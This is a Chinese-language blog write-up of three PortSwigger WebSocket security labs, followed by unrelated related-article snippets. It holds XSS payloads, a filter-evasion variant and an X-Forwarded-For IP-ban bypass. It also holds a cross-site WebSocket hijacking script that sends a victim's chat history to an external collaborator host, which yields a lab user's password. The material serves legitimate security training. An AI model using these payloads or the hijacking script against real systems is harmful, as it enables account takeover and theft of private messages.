burp靶场--WebSockets安全漏洞

burp靶场–WebSockets安全漏洞

https://portswigger.net/web-security/websockets/what-are-websockets

### 什么是 WebSocket?
WebSocket是一种通过 HTTP 发起的双向、全双工通信协议。它们通常在现代 Web 应用程序中用于流数据和其他异步流量。
在本节中,我们将解释 HTTP 和 WebSocket 之间的区别,描述如何建立 WebSocket 连接,并概述 WebSocket 消息的外观。

### HTTP 和 WebSocket 之间有什么区别?
Web 浏览器和网站之间的大多数通信都使用 HTTP。使用 HTTP,客户端发送请求,服务器返回响应。通常,响应立即发生,并且事务完成。即使网络连接保持打开状态,这也将用于请求和响应的单独事务。
一些现代网站使用 WebSocket。WebSocket 连接是通过 HTTP 发起的,并且通常是长期存在的。消息可以随时向任一方向发送,并且本质上不是事务性的。连接通常会保持打开和空闲状态,直到客户端或服务器准备好发送消息。

WebSocket 在需要低延迟或服务器启动消息的情况下特别有用,例如实时提供财务数据。
WebSocket 连接是如何建立的?
WebSocket 连接通常使用客户端 JavaScript 创建,如下所示:
var ws = new WebSocket("wss://normal-website.com/chat");
笔记
该wss协议通过加密的 TLS 连接建立 WebSocket,而该ws协议则使用未加密的连接。

为了建立连接,浏览器和服务器通过 HTTP 执行 WebSocket 握手。浏览器发出如下 WebSocket 握手请求:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
如果服务器接受连接,它将返回一个 WebSocket 握手响应,如下所示:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
此时,网络连接保持打开状态,可用于在任一方向发送 WebSocket 消息。

笔记
WebSocket 握手消息的几个特点值得注意:

请求和响应中的 和 标头表明这是一次 WebSocket 握手Connection。Upgrade
请求Sec-WebSocket-Version标头指定客户端希望使用的 WebSocket 协议版本。这通常是13.
请求Sec-WebSocket-Key标头包含一个 Base64 编码的随机值,该值应在每次握手请求中随机生成。
响应Sec-WebSocket-Accept标头包含请求标头中提交的值的哈希值Sec-WebSocket-Key,与协议规范中定义的特定字符串连接。这样做是为了防止由于错误配置的服务器或缓存代理而导致误导性响应。
WebSocket 消息是什么样的?
一旦建立了 WebSocket 连接,客户端或服务器就可以在任一方向上异步发送消息。

可以使用客户端 JavaScript 从浏览器发送一条简单的消息,如下所示:

ws.send("Peter Wiener");
原则上,WebSocket 消息可以包含任何内容或数据格式。在现代应用程序中,JSON 通常用于在 WebSocket 消息中发送结构化数据。
例如,使用 WebSocket 的聊天机器人应用程序可能会发送如下消息:
{"user":"Hal Pline","content":"I wanted to be a Playstation growing up, not a device to answer your inane questions"}

实验1:操纵WebSocket消息以利用漏洞

### 实验要求:
该在线商店具有使用WebSockets 实现的实时聊天功能。
支持代理会实时查看您提交的聊天消息。
要完成该实验,请使用 WebSocket 消息alert()在支持代理的浏览器中触发弹出窗口。

### 实验操作:
单击“实时聊天”并发送聊天消息。
在 Burp Proxy 中,转到 WebSockets 历史选项卡,并观察聊天消息已通过 WebSocket 消息发送。
使用浏览器发送包含字符的新消息<。
在Burp Proxy中,找到对应的WebSocket消息,观察到该消息<在发送前已经被客户端进行了HTML编码。
确保 Burp 代理配置为拦截 WebSocket 消息,然后发送另一条聊天消息。
编辑截获的消息以包含以下有效负载:

<img src=1 onerror='alert(1)'>
观察浏览器中是否触发了警报。这也会发生在支持代理的浏览器中。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验2:跨站WebSocket劫持【注意实验实验高版本burp和火狐浏览器】

###
该在线商店具有使用WebSockets 实现的实时聊天功能。
要解决该实验室问题,请使用漏洞利用服务器托管 HTML/JavaScript 有效负载,该有效负载使用跨站点 WebSocket 劫持攻击来窃取受害者的聊天记录,然后使用此访问权限访问其帐户。

###
单击“实时聊天”并发送聊天消息。
重新加载页面。
在 Burp Proxy 的 WebSockets 历史记录选项卡中,观察“READY”命令从服务器检索过去的聊天消息。
在 Burp Proxy 的 HTTP 历史记录选项卡中,找到 WebSocket 握手请求。请注意,该请求没有CSRF令牌。
右键单击握手请求并选择“复制 URL”。
在浏览器中,转到漏洞利用服务器并将以下模板粘贴到“正文”部分:

<script>
    var ws = new WebSocket('wss://your-websocket-url');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>
替换your-websocket-url为 WebSocket 握手中的 URL ( YOUR-LAB-ID.web-security-academy.net/chat)。确保将协议从 更改https://为wss://。替换为Burp Collaboratoryour-collaborator-url生成的有效负载。
单击“查看漏洞利用”。
在“协作者”选项卡中轮询交互。验证攻击是否已成功检索您的聊天历史记录并通过 Burp Collaborator 进行泄露。对于聊天中的每条消息,Burp Collaborator 都会收到一个 HTTP 请求。请求正文包含 JSON 格式的聊天消息的完整内容。请注意,这些消息可能无法按正确的顺序接收。
返回漏洞利用服务器并将漏洞利用程序传递给受害者。
再次轮询“协作者”选项卡中的交互。请注意,您收到了更多包含受害者聊天历史记录的 HTTP 交互。检查这些消息并注意到其中一封包含受害者的用户名和密码。
使用窃取的凭据登录受害者用户的帐户。

实验聊天窗口向服务端发送消息,查看代理中websockets历史:
在这里插入图片描述
在Burp代理的HTTP历史记录选项卡中,找到WebSocket握手请求。观察请求是否没有CSRF令牌

右键单击握手请求并选择"复制URL"
在这里插入图片描述
在hacker控制的web服务器托管恶意js脚本:

<script>
    var ws = new WebSocket('wss://your-websocket-url');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>
 
我的是:
<script>
    var ws = new WebSocket('wss://0ad7004203c4c9098311a5b000800096.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://nulw7almcuxdaey4o9j6r1rlyc43sugj.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

在这里插入图片描述
在这里插入图片描述
凭据:carlos: fj83hbdbohtky68riu8b
然后攻击者利用凭据登陆了用户的账户:
在这里插入图片描述

实验3:操纵WebSocket握手来利用漏洞

### 实验要求:
该在线商店具有使用WebSockets 实现的实时聊天功能。
它有一个激进但有缺陷的 XSS 过滤器。
要完成该实验,请使用 WebSocket 消息alert()在支持代理的浏览器中触发弹出窗口。

### 实验操作:
单击“实时聊天”并发送聊天消息。
在 Burp Proxy 中,转到 WebSockets 历史选项卡,并观察聊天消息已通过 WebSocket 消息发送。
右键单击该消息并选择“发送到转发器”。
编辑并重新发送包含基本 XSS 负载的消息,例如:

<img src=1 onerror='alert(1)'>
请注意,攻击已被阻止,并且您的 WebSocket 连接已终止。
单击“重新连接”,并观察连接尝试失败,因为您的 IP 地址已被禁止。
将以下标头添加到握手请求中以欺骗您的 IP 地址:

X-Forwarded-For: 1.1.1.1
点击“连接”即可成功重新连接WebSocket。
发送包含混淆的 XSS 负载的 WebSocket 消息,例如:

<img src=1 oNeRrOr=alert`1`>

查看在线聊天的wss流量,将其中自己发送的一条消息的wss包发送到 repeater:
在这里插入图片描述
插入xss代码重放,被过滤器拦截,中断了wss连接:
在这里插入图片描述
在这里插入图片描述
修改websockets的请求重连的数据包:x-forwarded-for:1.1.1.1绕过服务器ip封锁:重新建立wss连接:
在这里插入图片描述
再次插入xss重放,攻击浏览器客户端成功:
在这里插入图片描述

参考:

### portswigger:官方websockets实验:
https://portswigger.net/web-security/websockets/what-are-websockets
### 【burpsuite安全练兵场-客户端16】测试WebSockets安全漏洞-3个实验(全)
https://blog.csdn.net/qq_53079406/article/details/128715771
### PayloadsAllTheThings:Web Sockets
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Web%20Sockets
### owasp测试 WebSocket:
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/346056.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

如何在美国硅谷高防服务器上运行自定义的脚本和应用程序

在美国硅谷高防服务器上运行自定义的脚本和应用程序需要一定的技术和知识。下面我们将介绍一些关键步骤&#xff0c;帮助您顺利地在这些服务器上运行自定义应用程序和脚本。 确保您有对服务器的访问权限&#xff0c;并且已经通过SSH等方式连接到服务器。接下来&#xff0c;您可…

基于springboot留守儿童爱心网站源码和论文

随着留守儿童爱心管理的不断发展&#xff0c;留守儿童爱心网站在现实生活中的使用和普及&#xff0c;留守儿童爱心管理成为近年内出现的一个热门话题&#xff0c;并且能够成为大众广为认可和接受的行为和选择。设计留守儿童爱心网站的目的就是借助计算机让复杂的管理操作变简单…

架构篇21:高性能负载均衡-算法

文章目录 轮询加权轮询负载最低优先性能最优类Hash 类源地址 HashID Hash 小结 负载均衡算法数量较多&#xff0c;而且可以根据一些业务特性进行定制开发&#xff0c;抛开细节上的差异&#xff0c;根据算法期望达到的目的&#xff0c;大体上可以分为下面几类。 任务平分类&…

【自然语言处理】【深度学习】文本向量化、one-hot、word embedding编码

因为文本不能够直接被模型计算&#xff0c;所以需要将其转化为向量 把文本转化为向量有两种方式&#xff1a; 转化为one-hot编码转化为word embedding 一、one-hot 编码 在one-hot编码中&#xff0c;每一个token使用一个长度为N的向量表示&#xff0c;N表示词典的数量。 即&…

IDEA导出jar

1、选择导出方式 2、选择Main Class 3、构建jar

echarts:柱状图的常用操作

文章目录 背景基础柱状图设置柱子的样式 series.itemStyle添加标签&#xff08;柱子上的数字&#xff09;series.label添加提示框&#xff08;点击柱子的弹窗&#xff09;tooltip添加图例 legend滑动图表 dataZoom手动滑动滑动条扩展&#xff1a;左右滑动一页 背景 本文将带大…

某顺cookie逆向

目标网站:aHR0cHM6Ly9xLjEwanFrYS5jb20uY24v 这个网站是对cookie进行反爬虫的&#xff0c;可以看到cookie中有一个加密参数v 二、分析参数 可以使用hook方法&#xff0c;来hook住cookie中v生成的位置&#xff0c;可以直接在控制台中输入hook函数 (function () {use strict;v…

unity学习笔记----游戏练习06

一、豌豆射手的子弹控制 创建脚本单独控制子弹的运动 用transform来控制移动 void Update() { transform.Translate(Vector3.right * speed * Time.deltaTime); } 创建一个控制子弹速度的方法&#xff0c;方便速度的控制 private void SetSpeed(float spee…

Grafana loki配置, 无脑版

使用docker部署Grafana loki 1.创建 docker-compose.yml 文件 touch docker-compose.yml写入以下内容 vim touch docker-compose.yml version: "3"networks:loki:services:loki:image: grafana/loki:latestrestart: unless-stoppedports:- "3100:3100"vo…

vue 本地中导入 maptalks

1、进入 github 中 maptalks 文件下载页面&#xff08;https://github.com/maptalks/maptalks.js/releases&#xff09; 这里可能会有朋友应为网络问题打不开 github &#xff0c;可以查看作者另一篇关于解决该问题的文章&#x1f449;GitHub 打不开问题解决 2、将下载好的文件…

【郑益慧】模拟电子技术:5.双极晶体管的结构与方法原理

双极晶体管的结构与方法原理 空穴和自由电子都参与导电称之为双极晶体管&#xff08;半导体三极管&#xff09; 1.结构及类型 一块半导体材料上&#xff0c;做出三个不同的掺杂区域。 发射极 —— emitter 基极 —— basic 集电极 —— collector’ 为什么叫不同的名字&…

静态web服务器实战

准备html页面&#xff0c;包含两个页面(index.html, index2.html)和一个404(404html)页面&#xff0c;目录示意&#xff1a; 1.返回固定页面 with open("website/index.html","r") as file: import socket# # 返回固定的页面 website/index.html if __na…

Redis 面试题 | 10.精选Redis高频面试题

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

android 图片添加水印

android 图片添加水印 本文主要讲下android 中如何给图片添加水印. 在Android中给图片添加水印可以使用Bitmap、Matrix和Canvas类的方法来实现. private Bitmap addWater() {// 加载原始图片Bitmap sourceBitmap BitmapFactory.decodeResource(getResources(), R.mipmap.sou…

云原生安全:风险挑战与安全架构设计策略

概述 数字化转型已经成为当今最流行的话题之一&#xff0c;大部分企业已经开启自身的数字化转型之旅&#xff0c;在未来企业只有数字化企业和非数字化企业之分。通过数字经济的加速发展&#xff0c;可以有效推动企业数字化转型的步伐。云计算作为数字化转型的底座和重要的载体…

『OpenCV-Python鼠标画笔』

OpenCV-Python教程链接&#xff1a; https://opencv-python-tutorials.readthedocs.io/ 示例一&#xff1a;图片上双击的位置绘制一个圆圈 首先创建一个鼠标事件回调函数&#xff0c;鼠标事件发生时就会被执行。鼠标事件可以是鼠标上的任何动作&#xff0c;比如左键按下&#x…

HarmonyOS关于deps、external_deps的使用

在添加一个模块的时候&#xff0c;需要在BUILD.gn中声明它的依赖&#xff0c;为了便于后续处理部件间依赖关系&#xff0c;我们将依赖分为两种——部件内依赖deps和部件间依赖external_deps。 依赖分类 如上图所示&#xff0c;主要分为部件内依赖&#xff08;图左&#xff09;…

如何降低微服务复杂度丨云栖大会微服务主题分享实录

作者&#xff1a;谢吉宝 本文整理自阿里云资深技术专家、中间件负责人谢吉宝在2023云栖大会《极简微服务模式&#xff0c;降低微服务复杂度的最佳实践》的分享 2023 云栖大会现场 当面临复杂的挑战时&#xff0c;"分而治之"的方法往往能取得显著的效果。微服务架构…

Qt编写linux系统onvif工具(支持预览/云台/预置位/录像等)

一、功能特点 广播搜索设备&#xff0c;支持IPC和NVR&#xff0c;依次返回。可选择不同的网卡IP进行对应网段设备的搜索。依次获取Onvif地址、Media地址、Profile文件、Rtsp地址。可对指定的Profile获取视频流Rtsp地址&#xff0c;比如主码流地址、子码流地址。可对每个设备设…

mmpose 2d姿态预测值转json文件

目录 效果图: 参考 模板文件下载地址: python预测代码: 效果图: <